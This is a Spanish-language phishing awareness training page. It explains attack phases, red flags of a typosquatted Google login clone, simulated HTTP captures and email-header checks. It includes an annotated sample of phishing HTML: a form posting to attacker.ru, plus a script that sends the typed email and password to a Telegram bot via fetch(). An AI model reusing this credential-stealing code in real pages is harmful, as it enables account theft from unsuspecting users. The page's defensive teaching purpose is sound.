[2024-01-15 14:32:07] POST /steal.php HTTP/1.1
email: victima@empresa.com
password: MiPass123!
user_agent: Mozilla/5.0 (Windows NT 10.0)
ip_origen: 192.168.1.105
referer: http://g00gle-login.com/accounts
🕵️ Laboratorio de Seguridad
// PHISHING AWARENESS TRAINING PLATFORM v2.0 //
EDUCATIVO
DEFENSIVO
ANÁLISIS FORENSE
SIN CÓDIGO MALICIOSO
Plataforma educativa para comprender cómo funcionan los ataques de phishing, analizar capturas de red y aprender a detectar correos sospechosos — todo en un entorno controlado y seguro.
Módulos disponibles
📡
Flujo de un Ataque Phishing
Diagrama animado con las 7 fases de un ataque: reconocimiento, clonación, engaño, captura y exfiltración. Análisis de HTML clonado con banderas rojas.
🔬
Análisis de Red & Capturas
Simulador de paquetes de red. Visualiza cómo viajan las credenciales robadas: cabeceras HTTP, POST payload, cookies. Comparativa HTTP vs HTTPS.
🛡
Laboratorio de Detección
Sube un correo sospechoso (.eml / texto), analiza cabeceras, detecta URLs peligrosas e inspecciona indicadores clave de phishing con IA.
⚠️ Nota Pedagógica
Esta plataforma es exclusivamente educativa. Su objetivo es entender y detectar ataques de phishing, no ejecutarlos. Toda la información presentada tiene fines defensivos para la clase de seguridad informática.
📡 Flujo de un Ataque de Phishing
Anatomía completa de un ataque, desde la fase de reconocimiento hasta la exfiltración de datos.
Las 7 Fases del Ataque
01
Reconoci-miento
→
02
Selección Objetivo
→
03
Clonación Sitio
→
04
Phishing Email
→
05
Víctima Accede
→
06
Captura Creds
→
07
Exfiltración
FASE 01
🔍 Reconocimiento
OSINT: redes sociales, LinkedIn, web corporativa, registros WHOIS, emails públicos.
FASE 02
🎯 Selección
Identificar víctimas de alto valor, departamentos financieros, RRHH o acceso privilegiado.
FASE 03
🖥 Clonación
Copia exacta de sitios legítimos (banco, Office 365, Google) con dominio typosquatting.
FASE 04
📧 Email Phishing
Email con urgencia fabricada, spoofing del remitente, enlace al sitio clonado.
FASE 05
👆 Víctima Accede
La víctima hace clic, ve un sitio "legítimo" y no sospecha del engaño visual.
FASE 06
🔑 Captura
Las credenciales se envían via POST HTTP al servidor del atacante. Redirige a la web real.
FASE 07
📤 Exfiltración
Credenciales en claro almacenadas en BD o enviadas por Telegram/Email al atacante.
🖥 Demo: Sitio Clonado vs. Real
Así ve la víctima el sitio clonado — visualmente idéntico al original. Las diferencias son sutiles y están en la URL y el comportamiento del formulario.
🔓 http://g00gle-login.com/accounts
G
Iniciar sesión
con tu cuenta de Google
¿No puedes acceder? · Crear cuenta
⚠ Banderas Rojas Identificadas
🌐
URL sospechosa: "g00gle" usa ceros en lugar de "oo". Typosquatting.
🔓
Sin HTTPS: Conexión HTTP no cifrada. Los datos viajan en claro.
📋
Formulario POST: Envía a servidor externo, no a accounts.google.com.
⏰
Sin historial: Dominio registrado hace 2 días. Verificar con WHOIS.
🔎 Análisis de HTML Clonado
Fragmento típico del código fuente de un sitio phishing. Las diferencias con el original son mínimas pero reveladoras:
<!-- CÓDIGO PHISHING ANALIZADO - Solo para fines educativos -->
<form
method="POST"
action="http://attacker.ru/collect.php"
>
← ⚠ ACCIÓN MALICIOSA
<input
type="hidden" name="redirect"
value="https://accounts.google.com"
>
← ⚠ REDIRECCIÓN ENCUBIERTA
<input
type="email" name="email" placeholder="...">
<input
type="password" name="passwd">
</form>
<script>
// Keylogger oculto
document.querySelector('form').addEventListener('submit', function(e) {
// Envía datos a Telegram antes del submit
fetch('https://api.telegram.org/bot[TOKEN]/sendMessage?text='+
encodeURIComponent(document.querySelector('[name=email]').value+'|'+
document.querySelector('[name=passwd]').value));
});
</script>
← ⚠ KEYLOGGER OCULTO
🔬 Análisis de Red y Capturas
Visualiza cómo viajan los datos en la red durante un ataque. Compara tráfico HTTP vs HTTPS.
📦 Simulador de Paquetes de Red
Haz clic en cada capa para ver el contenido del paquete HTTP POST que envía las credenciales robadas:
Capa 7 — Aplicación (HTTP)
POST /collect.php HTTP/1.1 | email=victima%40empresa.com&pass=MiPass123!
Método:POST
URL:http://attacker.ru/collect.php
Host:attacker.ru
Content-Type:application/x-www-form-urlencoded
Cookie:session=abc123def456 (sesión robada)
PAYLOAD (en claro):
email=victima%40empresa.com&password=MiPass123!&redirect=https://accounts.google.com
⚠ HTTP no cifra los datos. Cualquier observador en la red puede ver estos datos en texto plano.
Capa 4 — Transporte (TCP)
SRC PORT: 54821 | DST PORT: 80 | SEQ: 0x7f3a1b | ACK: 0x4c2d | FLAGS: PSH+ACK
Puerto Origen:54821 (víctima)
Puerto Destino:80 (HTTP — sin cifrar)
Seq Number:0x7F3A1B4C
Ack Number:0x4C2D8E91
Flags:PSH + ACK
Window Size:65535
Si fuera HTTPS (puerto 443), el contenido estaría cifrado con TLS y sería ilegible aquí.
Capa 3 — Red (IP)
SRC: 192.168.1.105 | DST: 185.220.101.47 (attacker.ru) | TTL: 64 | Proto: TCP
IP Origen:192.168.1.105 (víctima)
IP Destino:185.220.101.47 (attacker.ru — Rusia)
TTL:64
Protocolo:TCP (6)
Checksum IP:0x8A4F
La IP destino geolocaliza en Moscú, Rusia. Bandera roja para el análisis forense.
Capa 2 — Enlace (Ethernet)
SRC MAC: a4:c3:f0:11:22:33 | DST MAC: 00:11:22:33:44:55 (gateway) | EtherType: 0x0800 (IPv4)
MAC Origen:a4:c3:f0:11:22:33 (Intel Corp — PC víctima)
MAC Destino:00:11:22:33:44:55 (Router/Gateway)
EtherType:0x0800 (IPv4)
FCS:0x3FA2B1C4
Con ARP spoofing, un atacante en la misma red puede interceptar este frame.
🔐 HTTP vs HTTPS — Comparativa
🔓 HTTP (Sin cifrar)
# Wireshark capture — VISIBLE
POST /login HTTP/1.1
Host: phishing-site.com
email=admin@empresa.com
password=SuperSecret99
Cualquier nodo en la ruta puede leer estos datos: ISP, router comprometido, atacante en la misma WiFi.
🔒 HTTPS / TLS 1.3 (Cifrado)
# Wireshark capture — CIFRADO
TLSv1.3 Record Layer:
17 03 03 00 28 a7 f3 9c...
4b 2e 8f 1a 5d c9 30 77...
b8 4a 12 e5 09 3f 6c 2b...
El contenido es ilegible sin la clave privada del servidor. Sin embargo, HTTPS no garantiza que el sitio sea legítimo.
⚠ Mito frecuente: "Si tiene candado/HTTPS es seguro" — FALSO. Los sitios phishing modernos también usan HTTPS con certificados gratuitos (Let's Encrypt). El candado sólo cifra el tráfico, no valida la identidad del sitio.
🛡 Laboratorio de Detección
Analiza correos sospechosos, inspecciona cabeceras y detecta URLs maliciosas.
Sube un correo sospechoso
Arrastra aquí o haz clic para seleccionar el archivo
Formatos: .eml · .txt · .msg | O usa el correo de ejemplo abajo
📊 Resultado del Análisis
⚠ RIESGO ALTO
📋 Cabeceras del Correo
| Campo | Valor | Estado |
|---|---|---|
🚩 Indicadores de Compromiso (IOCs)
📚 ¿Cómo analizar cabeceras manualmente?
Las cabeceras completas contienen el rastro del correo desde el origen hasta tu bandeja. Búscalas en: Gmail → ⋮ → Mostrar original | Outlook → Archivo → Propiedades
Received-SPF
Verifica si el IP emisor está autorizado para el dominio. "fail" = spoofing probable.
Verifica si el IP emisor está autorizado para el dominio. "fail" = spoofing probable.
DKIM-Signature
Firma criptográfica del mensaje. Si falla, el mensaje fue modificado o falsificado.
Firma criptográfica del mensaje. Si falla, el mensaje fue modificado o falsificado.
DMARC
Política del dominio remitente. Define qué hacer si SPF/DKIM fallan (reject/quarantine).
Política del dominio remitente. Define qué hacer si SPF/DKIM fallan (reject/quarantine).
X-Originating-IP
IP real de origen. Verificar con MaxMind/AbuseIPDB si corresponde al remitente.
IP real de origen. Verificar con MaxMind/AbuseIPDB si corresponde al remitente.